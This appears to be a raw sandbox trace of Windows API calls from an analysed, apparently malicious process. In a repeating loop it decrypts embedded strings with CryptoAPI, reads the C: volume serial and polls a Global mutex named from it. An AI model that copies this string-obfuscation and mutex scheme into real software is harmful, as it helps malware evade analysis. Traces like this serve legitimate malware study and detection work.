	[0051.782] ExpandEnvironmentStringsW (in: lpSrc="%systemdrive%\\", lpDst=0xa11508, nSize=0xf | out: lpDst="C:\\") returned 0x4
	[0051.782] HeapFree (in: hHeap=0xa10000, dwFlags=0x0, lpMem=0xa112d0 | out: hHeap=0xa10000) returned 1
	[0051.782] HeapFree (in: hHeap=0xa10000, dwFlags=0x0, lpMem=0xa11228 | out: hHeap=0xa10000) returned 1
	[0051.782] GetVolumeInformationW (in: lpRootPathName="C:\\", lpVolumeNameBuffer=0x0, nVolumeNameSize=0x3, lpVolumeSerialNumber=0x116fa8c, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0, nFileSystemNameSize=0x0 | out: lpVolumeNameBuffer=0x0, lpVolumeSerialNumber=0x116fa8c*=0xb4197730, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0) returned 1
	[0051.782] HeapFree (in: hHeap=0xa10000, dwFlags=0x0, lpMem=0xa11508 | out: hHeap=0xa10000) returned 1
	[0051.782] RtlAllocateHeap (HeapHandle=0xa10000, Flags=0x0, Size=0x40) returned 0xa112d0
	[0051.782] CryptImportKey (in: hProv=0x14420, pbData=0x116fa18, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x116fa80 | out: phKey=0x116fa80*=0x226d0) returned 1
	[0051.782] CryptSetKeyParam (hKey=0x226d0, dwParam=0x1, pbData=0x116fa68, dwFlags=0x0) returned 1
	[0051.782] CryptDecrypt (in: hKey=0x226d0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0xa112d0, pdwDataLen=0x116fa34 | out: pbData=0xa112d0, pdwDataLen=0x116fa34) returned 1
	[0051.782] CryptDestroyKey (hKey=0x226d0) returned 1
	[0051.782] RtlAllocateHeap (HeapHandle=0xa10000, Flags=0x8, Size=0x34) returned 0xa15b28
	[0051.782] OpenMutexW (dwDesiredAccess=0x100000, bInheritHandle=0, lpName="Global\\0001B419773001") returned 0x228
	[0051.783] WaitForSingleObject (hHandle=0x228, dwMilliseconds=0x0) returned 0x102
	[0051.783] CloseHandle (hObject=0x228) returned 1
	[0051.783] HeapFree (in: hHeap=0xa10000, dwFlags=0x0, lpMem=0xa112d0 | out: hHeap=0xa10000) returned 1
	[0051.783] HeapFree (in: hHeap=0xa10000, dwFlags=0x0, lpMem=0xa15b28 | out: hHeap=0xa10000) returned 1
	[0051.783] Sleep (dwMilliseconds=0x3e8) 
	[0053.034] RtlAllocateHeap (HeapHandle=0xa10000, Flags=0x0, Size=0x20) returned 0xa112f0
	[0053.035] CryptImportKey (in: hProv=0x14420, pbData=0x116f9e4, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x116fa4c | out: phKey=0x116fa4c*=0x228d0) returned 1
	[0053.035] CryptSetKeyParam (hKey=0x228d0, dwParam=0x1, pbData=0x116fa34, dwFlags=0x0) returned 1
	[0053.035] CryptDecrypt (in: hKey=0x228d0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0xa112f0, pdwDataLen=0x116fa00 | out: pbData=0xa112f0, pdwDataLen=0x116fa00) returned 1
	[0053.035] CryptDestroyKey (hKey=0x228d0) returned 1
	[0053.035] RtlAllocateHeap (HeapHandle=0xa10000, Flags=0x8, Size=0x1e) returned 0xa15438
	[0053.035] RtlAllocateHeap (HeapHandle=0xa10000, Flags=0x0, Size=0x1e) returned 0xa184c0
	[0053.035] RtlAllocateHeap (HeapHandle=0xa10000, Flags=0x0, Size=0x90) returned 0xa111f0
	[0053.035] CryptImportKey (in: hProv=0x14420, pbData=0x116f9bc, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x116fa24 | out: phKey=0x116fa24*=0x22310) returned 1
	[0053.035] CryptSetKeyParam (hKey=0x22310, dwParam=0x1, pbData=0x116fa0c, dwFlags=0x0) returned 1
	[0053.035] CryptDecrypt (in: hKey=0x22310, hHash=0x0, Final=0, dwFlags=0x0, pbData=0xa111f0, pdwDataLen=0x116f9d8 | out: pbData=0xa111f0, pdwDataLen=0x116f9d8) returned 1
	[0053.035] CryptDestroyKey (hKey=0x22310) returned 1
	[0053.035] HeapFree (in: hHeap=0xa10000, dwFlags=0x0, lpMem=0xa111f0 | out: hHeap=0xa10000) returned 1
	[0053.035] ExpandEnvironmentStringsW (in: lpSrc="%systemdrive%\\", lpDst=0xa15438, nSize=0xf | out: lpDst="C:\\") returned 0x4
	[0053.035] HeapFree (in: hHeap=0xa10000, dwFlags=0x0, lpMem=0xa184c0 | out: hHeap=0xa10000) returned 1
	[0053.035] HeapFree (in: hHeap=0xa10000, dwFlags=0x0, lpMem=0xa112f0 | out: hHeap=0xa10000) returned 1
	[0053.035] GetVolumeInformationW (in: lpRootPathName="C:\\", lpVolumeNameBuffer=0x0, nVolumeNameSize=0x3, lpVolumeSerialNumber=0x116fa8c, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0, nFileSystemNameSize=0x0 | out: lpVolumeNameBuffer=0x0, lpVolumeSerialNumber=0x116fa8c*=0xb4197730, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0) returned 1
	[0053.036] HeapFree (in: hHeap=0xa10000, dwFlags=0x0, lpMem=0xa15438 | out: hHeap=0xa10000) returned 1
	[0053.036] RtlAllocateHeap (HeapHandle=0xa10000, Flags=0x0, Size=0x40) returned 0xa184c0
	[0053.036] CryptImportKey (in: hProv=0x14420, pbData=0x116fa18, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x116fa80 | out: phKey=0x116fa80*=0x225d0) returned 1
	[0053.036] CryptSetKeyParam (hKey=0x225d0, dwParam=0x1, pbData=0x116fa68, dwFlags=0x0) returned 1
	[0053.036] CryptDecrypt (in: hKey=0x225d0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0xa184c0, pdwDataLen=0x116fa34 | out: pbData=0xa184c0, pdwDataLen=0x116fa34) returned 1
	[0053.036] CryptDestroyKey (hKey=0x225d0) returned 1
	[0053.036] RtlAllocateHeap (HeapHandle=0xa10000, Flags=0x8, Size=0x34) returned 0xa152c8
	[0053.036] OpenMutexW (dwDesiredAccess=0x100000, bInheritHandle=0, lpName="Global\\0001B419773001") returned 0x240
	[0053.036] WaitForSingleObject (hHandle=0x240, dwMilliseconds=0x0) returned 0x102
	[0053.036] CloseHandle (hObject=0x240) returned 1
	[0053.036] HeapFree (in: hHeap=0xa10000, dwFlags=0x0, lpMem=0xa184c0 | out: hHeap=0xa10000) returned 1
	[0053.036] HeapFree (in: hHeap=0xa10000, dwFlags=0x0, lpMem=0xa152c8 | out: hHeap=0xa10000) returned 1
	[0053.036] Sleep (dwMilliseconds=0x3e8) 
	[0054.271] RtlAllocateHeap (HeapHandle=0xa10000, Flags=0x0, Size=0x20) returned 0xa112f0
	[0054.271] CryptImportKey (in: hProv=0x14420, pbData=0x116f9e4, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x116fa4c | out: phKey=0x116fa4c*=0x22950) returned 1
	[0054.271] CryptSetKeyParam (hKey=0x22950, dwParam=0x1, pbData=0x116fa34, dwFlags=0x0) returned 1
	[0054.271] CryptDecrypt (in: hKey=0x22950, hHash=0x0, Final=0, dwFlags=0x0, pbData=0xa112f0, pdwDataLen=0x116fa00 | out: pbData=0xa112f0, pdwDataLen=0x116fa00) returned 1
	[0054.271] CryptDestroyKey (hKey=0x22950) returned 1
	[0054.271] RtlAllocateHeap (HeapHandle=0xa10000, Flags=0x8, Size=0x1e) returned 0xa15438
	[0054.271] RtlAllocateHeap (HeapHandle=0xa10000, Flags=0x0, Size=0x1e) returned 0xa184c0
	[0054.271] RtlAllocateHeap (HeapHandle=0xa10000, Flags=0x0, Size=0x90) returned 0xa111f0
	[0054.271] CryptImportKey (in: hProv=0x14420, pbData=0x116f9bc, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x116fa24 | out: phKey=0x116fa24*=0x226d0) returned 1
	[0054.271] CryptSetKeyParam (hKey=0x226d0, dwParam=0x1, pbData=0x116fa0c, dwFlags=0x0) returned 1
	[0054.271] CryptDecrypt (in: hKey=0x226d0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0xa111f0, pdwDataLen=0x116f9d8 | out: pbData=0xa111f0, pdwDataLen=0x116f9d8) returned 1
	[0054.271] CryptDestroyKey (hKey=0x226d0) returned 1
	[0054.271] HeapFree (in: hHeap=0xa10000, dwFlags=0x0, lpMem=0xa111f0 | out: hHeap=0xa10000) returned 1
	[0054.271] ExpandEnvironmentStringsW (in: lpSrc="%systemdrive%\\", lpDst=0xa15438, nSize=0xf | out: lpDst="C:\\") returned 0x4
	[0054.271] HeapFree (in: hHeap=0xa10000, dwFlags=0x0, lpMem=0xa184c0 | out: hHeap=0xa10000) returned 1
	[0054.271] HeapFree (in: hHeap=0xa10000, dwFlags=0x0, lpMem=0xa112f0 | out: hHeap=0xa10000) returned 1
	[0054.271] GetVolumeInformationW (in: lpRootPathName="C:\\", lpVolumeNameBuffer=0x0, nVolumeNameSize=0x3, lpVolumeSerialNumber=0x116fa8c, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0, nFileSystemNameSize=0x0 | out: lpVolumeNameBuffer=0x0, lpVolumeSerialNumber=0x116fa8c*=0xb4197730, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0) returned 1
	[0054.271] HeapFree (in: hHeap=0xa10000, dwFlags=0x0, lpMem=0xa15438 | out: hHeap=0xa10000) returned 1
	[0054.271] RtlAllocateHeap (HeapHandle=0xa10000, Flags=0x0, Size=0x40) returned 0xa184c0
	[0054.271] CryptImportKey (in: hProv=0x14420, pbData=0x116fa18, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x116fa80 | out: phKey=0x116fa80*=0x22950) returned 1
	[0054.271] CryptSetKeyParam (hKey=0x22950, dwParam=0x1, pbData=0x116fa68, dwFlags=0x0) returned 1
	[0054.271] CryptDecrypt (in: hKey=0x22950, hHash=0x0, Final=0, dwFlags=0x0, pbData=0xa184c0, pdwDataLen=0x116fa34 | out: pbData=0xa184c0, pdwDataLen=0x116fa34) returned 1
	[0054.271] CryptDestroyKey (hKey=0x22950) returned 1
	[0054.271] RtlAllocateHeap (HeapHandle=0xa10000, Flags=0x8, Size=0x34) returned 0xa152c8
	[0054.271] OpenMutexW (dwDesiredAccess=0x100000, bInheritHandle=0, lpName="Global\\0001B419773001") returned 0x29c
	[0054.272] WaitForSingleObject (hHandle=0x29c, dwMilliseconds=0x0) returned 0x102
	[0054.272] CloseHandle (hObject=0x29c) returned 1
	[0054.272] HeapFree (in: hHeap=0xa10000, dwFlags=0x0, lpMem=0xa184c0 | out: hHeap=0xa10000) returned 1
	[0054.272] HeapFree (in: hHeap=0xa10000, dwFlags=0x0, lpMem=0xa152c8 | out: hHeap=0xa10000) returned 1
	[0054.272] Sleep (dwMilliseconds=0x3e8) 
	[0055.296] RtlAllocateHeap (HeapHandle=0xa10000, Flags=0x0, Size=0x20) returned 0xa112f0
	[0055.296] CryptImportKey (in: hProv=0x14420, pbData=0x116f9e4, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x116fa4c | out: phKey=0x116fa4c*=0x226d0) returned 1
	[0055.296] CryptSetKeyParam (hKey=0x226d0, dwParam=0x1, pbData=0x116fa34, dwFlags=0x0) returned 1
	[0055.296] CryptDecrypt (in: hKey=0x226d0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0xa112f0, pdwDataLen=0x116fa00 | out: pbData=0xa112f0, pdwDataLen=0x116fa00) returned 1
	[0055.296] CryptDestroyKey (hKey=0x226d0) returned 1
	[0055.296] RtlAllocateHeap (HeapHandle=0xa10000, Flags=0x8, Size=0x1e) returned 0xa15438
	[0055.296] RtlAllocateHeap (HeapHandle=0xa10000, Flags=0x0, Size=0x1e) returned 0xa184c0
	[0055.296] RtlAllocateHeap (HeapHandle=0xa10000, Flags=0x0, Size=0x90) returned 0xa111f0
	[0055.296] CryptImportKey (in: hProv=0x14420, pbData=0x116f9bc, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x116fa24 | out: phKey=0x116fa24*=0x226d0) returned 1
	[0055.296] CryptSetKeyParam (hKey=0x226d0, dwParam=0x1, pbData=0x116fa0c, dwFlags=0x0) returned 1
	[0055.296] CryptDecrypt (in: hKey=0x226d0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0xa111f0, pdwDataLen=0x116f9d8 | out: pbData=0xa111f0, pdwDataLen=0x116f9d8) returned 1
	[0055.296] CryptDestroyKey (hKey=0x226d0) returned 1
	[0055.297] HeapFree (in: hHeap=0xa10000, dwFlags=0x0, lpMem=0xa111f0 | out: hHeap=0xa10000) returned 1
	[0055.297] ExpandEnvironmentStringsW (in: lpSrc="%systemdrive%\\", lpDst=0xa15438, nSize=0xf | out: lpDst="C:\\") returned 0x4
	[0055.297] HeapFree (in: hHeap=0xa10000, dwFlags=0x0, lpMem=0xa184c0 | out: hHeap=0xa10000) returned 1
	[0055.297] HeapFree (in: hHeap=0xa10000, dwFlags=0x0, lpMem=0xa112f0 | out: hHeap=0xa10000) returned 1
	[0055.297] GetVolumeInformationW (in: lpRootPathName="C:\\", lpVolumeNameBuffer=0x0, nVolumeNameSize=0x3, lpVolumeSerialNumber=0x116fa8c, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0, nFileSystemNameSize=0x0 | out: lpVolumeNameBuffer=0x0, lpVolumeSerialNumber=0x116fa8c*=0xb4197730, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0) returned 1
	[0055.297] HeapFree (in: hHeap=0xa10000, dwFlags=0x0, lpMem=0xa15438 | out: hHeap=0xa10000) returned 1
	[0055.297] RtlAllocateHeap (HeapHandle=0xa10000, Flags=0x0, Size=0x40) returned 0xa184c0
	[0055.297] CryptImportKey (in: hProv=0x14420, pbData=0x116fa18, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x116fa80 | out: phKey=0x116fa80*=0x226d0) returned 1
	[0055.297] CryptSetKeyParam (hKey=0x226d0, dwParam=0x1, pbData=0x116fa68, dwFlags=0x0) returned 1
	[0055.297] CryptDecrypt (in: hKey=0x226d0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0xa184c0, pdwDataLen=0x116fa34 | out: pbData=0xa184c0, pdwDataLen=0x116fa34) returned 1
	[0055.297] CryptDestroyKey (hKey=0x226d0) returned 1
	[0055.297] RtlAllocateHeap (HeapHandle=0xa10000, Flags=0x8, Size=0x34) returned 0xa152c8
	[0055.297] OpenMutexW (dwDesiredAccess=0x100000, bInheritHandle=0, lpName="Global\\0001B419773001") returned 0x2c0
	[0055.297] WaitForSingleObject (hHandle=0x2c0, dwMilliseconds=0x0) returned 0x102
	[0055.297] CloseHandle (hObject=0x2c0) returned 1
	[0055.297] HeapFree (in: hHeap=0xa10000, dwFlags=0x0, lpMem=0xa184c0 | out: hHeap=0xa10000) returned 1
	[0055.297] HeapFree (in: hHeap=0xa10000, dwFlags=0x0, lpMem=0xa152c8 | out: hHeap=0xa10000) returned 1
	[0055.297] Sleep (dwMilliseconds=0x3e8) 
	[0056.486] RtlAllocateHeap (HeapHandle=0xa10000, Flags=0x0, Size=0x20) returned 0xa112f0
	[0056.486] CryptImportKey (in: hProv=0x14420, pbData=0x116f9e4, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x116fa4c | out: phKey=0x116fa4c*=0x226d0) returned 1
	[0056.486] CryptSetKeyParam (hKey=0x226d0, dwParam=0x1, pbData=0x116fa34, dwFlags=0x0) returned 1
	[0056.486] CryptDecrypt (in: hKey=0x226d0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0xa112f0, pdwDataLen=0x116fa00 | out: pbData=0xa112f0, pdwDataLen=0x116fa00) returned 1
	[0056.487] CryptDestroyKey (hKey=0x226d0) returned 1
	[0056.487] RtlAllocateHeap (HeapHandle=0xa10000, Flags=0x8, Size=0x1e) returned 0xa15438
	[0056.487] RtlAllocateHeap (HeapHandle=0xa10000, Flags=0x0, Size=0x1e) returned 0xa184c0
	[0056.487] RtlAllocateHeap (HeapHandle=0xa10000, Flags=0x0, Size=0x90) returned 0xa111f0
	[0056.487] CryptImportKey (in: hProv=0x14420, pbData=0x116f9bc, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x116fa24 | out: phKey=0x116fa24*=0x226d0) returned 1
	[0056.487] CryptSetKeyParam (hKey=0x226d0, dwParam=0x1, pbData=0x116fa0c, dwFlags=0x0) returned 1
	[0056.487] CryptDecrypt (in: hKey=0x226d0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0xa111f0, pdwDataLen=0x116f9d8 | out: pbData=0xa111f0, pdwDataLen=0x116f9d8) returned 1
	[0056.487] CryptDestroyKey (hKey=0x226d0) returned 1
	[0056.487] HeapFree (in: hHeap=0xa10000, dwFlags=0x0, lpMem=0xa111f0 | out: hHeap=0xa10000) returned 1
	[0056.487] ExpandEnvironmentStringsW (in: lpSrc="%systemdrive%\\", lpDst=0xa15438, nSize=0xf | out: lpDst="C:\\") returned 0x4
	[0056.487] HeapFree (in: hHeap=0xa10000, dwFlags=0x0, lpMem=0xa184c0 | out: hHeap=0xa10000) returned 1
	[0056.487] HeapFree (in: hHeap=0xa10000, dwFlags=0x0, lpMem=0xa112f0 | out: hHeap=0xa10000) returned 1
	[0056.487] GetVolumeInformationW (in: lpRootPathName="C:\\", lpVolumeNameBuffer=0x0, nVolumeNameSize=0x3, lpVolumeSerialNumber=0x116fa8c, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0, nFileSystemNameSize=0x0 | out: lpVolumeNameBuffer=0x0, lpVolumeSerialNumber=0x116fa8c*=0xb4197730, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0) returned 1
	[0056.487] HeapFree (in: hHeap=0xa10000, dwFlags=0x0, lpMem=0xa15438 | out: hHeap=0xa10000) returned 1
	[0056.487] RtlAllocateHeap (HeapHandle=0xa10000, Flags=0x0, Size=0x40) returned 0xa184c0
	[0056.487] CryptImportKey (in: hProv=0x14420, pbData=0x116fa18, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x116fa80 | out: phKey=0x116fa80*=0x226d0) returned 1
	[0056.487] CryptSetKeyParam (hKey=0x226d0, dwParam=0x1, pbData=0x116fa68, dwFlags=0x0) returned 1
	[0056.488] CryptDecrypt (in: hKey=0x226d0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0xa184c0, pdwDataLen=0x116fa34 | out: pbData=0xa184c0, pdwDataLen=0x116fa34) returned 1
	[0056.488] CryptDestroyKey (hKey=0x226d0) returned 1
	[0056.488] RtlAllocateHeap (HeapHandle=0xa10000, Flags=0x8, Size=0x34) returned 0xa152c8
	[0056.488] OpenMutexW (dwDesiredAccess=0x100000, bInheritHandle=0, lpName="Global\\0001B419773001") returned 0x2c0
	[0056.488] WaitForSingleObject (hHandle=0x2c0, dwMilliseconds=0x0) returned 0x102
	[0056.488] CloseHandle (hObject=0x2c0) returned 1
	[0056.488] HeapFree (in: hHeap=0xa10000, dwFlags=0x0, lpMem=0xa184c0 | out: hHeap=0xa10000) returned 1
	[0056.488] HeapFree (in: hHeap=0xa10000, dwFlags=0x0, lpMem=0xa152c8 | out: hHeap=0xa10000) returned 1
	[0056.488] Sleep (dwMilliseconds=0x3e8) 
	[0058.001] RtlAllocateHeap (HeapHandle=0xa10000, Flags=0x0, Size=0x20) returned 0xa19370
	[0058.001] CryptImportKey (in: hProv=0x14420, pbData=0x116f9e4, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x116fa4c | out: phKey=0x116fa4c*=0x226d0) returned 1
	[0058.001] CryptSetKeyParam (hKey=0x226d0, dwParam=0x1, pbData=0x116fa34, dwFlags=0x0) returned 1
	[0058.001] CryptDecrypt (in: hKey=0x226d0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0xa19370, pdwDataLen=0x116fa00 | out: pbData=0xa19370, pdwDataLen=0x116fa00) returned 1
	[0058.001] CryptDestroyKey (hKey=0x226d0) returned 1
	[0058.001] RtlAllocateHeap (HeapHandle=0xa10000, Flags=0x8, Size=0x1e) returned 0xa19398
	[0058.001] RtlAllocateHeap (HeapHandle=0xa10000, Flags=0x0, Size=0x1e) returned 0xa193c0
	[0058.001] RtlAllocateHeap (HeapHandle=0xa10000, Flags=0x0, Size=0x90) returned 0xa111f0
	[0058.001] CryptImportKey (in: hProv=0x14420, pbData=0x116f9bc, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x116fa24 | out: phKey=0x116fa24*=0x226d0) returned 1
	[0058.001] CryptSetKeyParam (hKey=0x226d0, dwParam=0x1, pbData=0x116fa0c, dwFlags=0x0) returned 1
	[0058.001] CryptDecrypt (in: hKey=0x226d0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0xa111f0, pdwDataLen=0x116f9d8 | out: pbData=0xa111f0, pdwDataLen=0x116f9d8) returned 1
	[0058.001] CryptDestroyKey (hKey=0x226d0) returned 1
	[0058.001] HeapFree (in: hHeap=0xa10000, dwFlags=0x0, lpMem=0xa111f0 | out: hHeap=0xa10000) returned 1
	[0058.001] ExpandEnvironmentStringsW (in: lpSrc="%systemdrive%\\", lpDst=0xa19398, nSize=0xf | out: lpDst="C:\\") returned 0x4
	[0058.001] HeapFree (in: hHeap=0xa10000, dwFlags=0x0, lpMem=0xa193c0 | out: hHeap=0xa10000) returned 1
	[0058.001] HeapFree (in: hHeap=0xa10000, dwFlags=0x0, lpMem=0xa19370 | out: hHeap=0xa10000) returned 1
	[0058.001] GetVolumeInformationW (in: lpRootPathName="C:\\", lpVolumeNameBuffer=0x0, nVolumeNameSize=0x3, lpVolumeSerialNumber=0x116fa8c, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0, nFileSystemNameSize=0x0 | out: lpVolumeNameBuffer=0x0, lpVolumeSerialNumber=0x116fa8c*=0xb4197730, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0) returned 1
	[0058.002] HeapFree (in: hHeap=0xa10000, dwFlags=0x0, lpMem=0xa19398 | out: hHeap=0xa10000) returned 1
	[0058.002] RtlAllocateHeap (HeapHandle=0xa10000, Flags=0x0, Size=0x40) returned 0xa184c0
	[0058.002] CryptImportKey (in: hProv=0x14420, pbData=0x116fa18, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x116fa80 | out: phKey=0x116fa80*=0x226d0) returned 1
	[0058.002] CryptSetKeyParam (hKey=0x226d0, dwParam=0x1, pbData=0x116fa68, dwFlags=0x0) returned 1
	[0058.002] CryptDecrypt (in: hKey=0x226d0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0xa184c0, pdwDataLen=0x116fa34 | out: pbData=0xa184c0, pdwDataLen=0x116fa34) returned 1
	[0058.002] CryptDestroyKey (hKey=0x226d0) returned 1
	[0058.002] RtlAllocateHeap (HeapHandle=0xa10000, Flags=0x8, Size=0x34) returned 0xa152c8
	[0058.002] OpenMutexW (dwDesiredAccess=0x100000, bInheritHandle=0, lpName="Global\\0001B419773001") returned 0x2c0
	[0058.002] WaitForSingleObject (hHandle=0x2c0, dwMilliseconds=0x0) returned 0x102
	[0058.002] CloseHandle (hObject=0x2c0) returned 1
	[0058.002] HeapFree (in: hHeap=0xa10000, dwFlags=0x0, lpMem=0xa184c0 | out: hHeap=0xa10000) returned 1
	[0058.002] HeapFree (in: hHeap=0xa10000, dwFlags=0x0, lpMem=0xa152c8 | out: hHeap=0xa10000) returned 1
	[0058.002] Sleep (dwMilliseconds=0x3e8) 
	[0059.858] RtlAllocateHeap (HeapHandle=0xa10000, Flags=0x0, Size=0x20) returned 0xa19118
	[0059.858] CryptImportKey (in: hProv=0x14420, pbData=0x116f9e4, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x116fa4c | out: phKey=0x116fa4c*=0x226d0) returned 1
	[0059.858] CryptSetKeyParam (hKey=0x226d0, dwParam=0x1, pbData=0x116fa34, dwFlags=0x0) returned 1
	[0059.858] CryptDecrypt (in: hKey=0x226d0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0xa19118, pdwDataLen=0x116fa00 | out: pbData=0xa19118, pdwDataLen=0x116fa00) returned 1
	[0059.858] CryptDestroyKey (hKey=0x226d0) returned 1
	[0059.858] RtlAllocateHeap (HeapHandle=0xa10000, Flags=0x8, Size=0x1e) returned 0xa192d0
	[0059.858] RtlAllocateHeap (HeapHandle=0xa10000, Flags=0x0, Size=0x1e) returned 0xa191b8
	[0059.858] RtlAllocateHeap (HeapHandle=0xa10000, Flags=0x0, Size=0x90) returned 0xa111f0
	[0059.858] CryptImportKey (in: hProv=0x14420, pbData=0x116f9bc, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x116fa24 | out: phKey=0x116fa24*=0x226d0) returned 1
	[0059.858] CryptSetKeyParam (hKey=0x226d0, dwParam=0x1, pbData=0x116fa0c, dwFlags=0x0) returned 1
	[0059.858] CryptDecrypt (in: hKey=0x226d0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0xa111f0, pdwDataLen=0x116f9d8 | out: pbData=0xa111f0, pdwDataLen=0x116f9d8) returned 1
	[0059.858] CryptDestroyKey (hKey=0x226d0) returned 1
	[0059.858] HeapFree (in: hHeap=0xa10000, dwFlags=0x0, lpMem=0xa111f0 | out: hHeap=0xa10000) returned 1
	[0059.858] ExpandEnvironmentStringsW (in: lpSrc="%systemdrive%\\", lpDst=0xa192d0, nSize=0xf | out: lpDst="C:\\") returned 0x4
	[0059.858] HeapFree (in: hHeap=0xa10000, dwFlags=0x0, lpMem=0xa191b8 | out: hHeap=0xa10000) returned 1
	[0059.858] HeapFree (in: hHeap=0xa10000, dwFlags=0x0, lpMem=0xa19118 | out: hHeap=0xa10000) returned 1
	[0059.858] GetVolumeInformationW (in: lpRootPathName="C:\\", lpVolumeNameBuffer=0x0, nVolumeNameSize=0x3, lpVolumeSerialNumber=0x116fa8c, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0, nFileSystemNameSize=0x0 | out: lpVolumeNameBuffer=0x0, lpVolumeSerialNumber=0x116fa8c*=0xb4197730, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0) returned 1
	[0059.859] HeapFree (in: hHeap=0xa10000, dwFlags=0x0, lpMem=0xa192d0 | out: hHeap=0xa10000) returned 1
	[0059.859] RtlAllocateHeap (HeapHandle=0xa10000, Flags=0x0, Size=0x40) returned 0xa184c0
	[0059.859] CryptImportKey (in: hProv=0x14420, pbData=0x116fa18, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x116fa80 | out: phKey=0x116fa80*=0x226d0) returned 1
	[0059.859] CryptSetKeyParam (hKey=0x226d0, dwParam=0x1, pbData=0x116fa68, dwFlags=0x0) returned 1
	[0059.859] CryptDecrypt (in: hKey=0x226d0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0xa184c0, pdwDataLen=0x116fa34 | out: pbData=0xa184c0, pdwDataLen=0x116fa34) returned 1
	[0059.859] CryptDestroyKey (hKey=0x226d0) returned 1
	[0059.859] RtlAllocateHeap (HeapHandle=0xa10000, Flags=0x8, Size=0x34) returned 0xa152c8
	[0059.859] OpenMutexW (dwDesiredAccess=0x100000, bInheritHandle=0, lpName="Global\\0001B419773001") returned 0x2c0
	[0059.859] WaitForSingleObject (hHandle=0x2c0, dwMilliseconds=0x0) returned 0x102
	[0059.859] CloseHandle (hObject=0x2c0) returned 1
	[0059.859] HeapFree (in: hHeap=0xa10000, dwFlags=0x0, lpMem=0xa184c0 | out: hHeap=0xa10000) returned 1
	[0059.859] HeapFree (in: hHeap=0xa10000, dwFlags=0x0, lpMem=0xa152c8 | out: hHeap=0xa10000) returned 1
	[0059.860] Sleep (dwMilliseconds=0x3e8) 
	[0061.932] RtlAllocateHeap (HeapHandle=0xa10000, Flags=0x0, Size=0x20) returned 0xa19280
	[0061.932] CryptImportKey (in: hProv=0x14420, pbData=0x116f9e4, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x116fa4c | out: phKey=0x116fa4c*=0x226d0) returned 1
	[0061.932] CryptSetKeyParam (hKey=0x226d0, dwParam=0x1, pbData=0x116fa34, dwFlags=0x0) returned 1
	[0061.932] CryptDecrypt (in: hKey=0x226d0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0xa19280, pdwDataLen=0x116fa00 | out: pbData=0xa19280, pdwDataLen=0x116fa00) returned 1
	[0061.932] CryptDestroyKey (hKey=0x226d0) returned 1
	[0061.932] RtlAllocateHeap (HeapHandle=0xa10000, Flags=0x8, Size=0x1e) returned 0xa19258
	[0061.932] RtlAllocateHeap (HeapHandle=0xa10000, Flags=0x0, Size=0x1e) returned 0xa193e8
	[0061.932] RtlAllocateHeap (HeapHandle=0xa10000, Flags=0x0, Size=0x90) returned 0xa111f0
	[0061.932] CryptImportKey (in: hProv=0x14420, pbData=0x116f9bc, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x116fa24 | out: phKey=0x116fa24*=0x226d0) returned 1
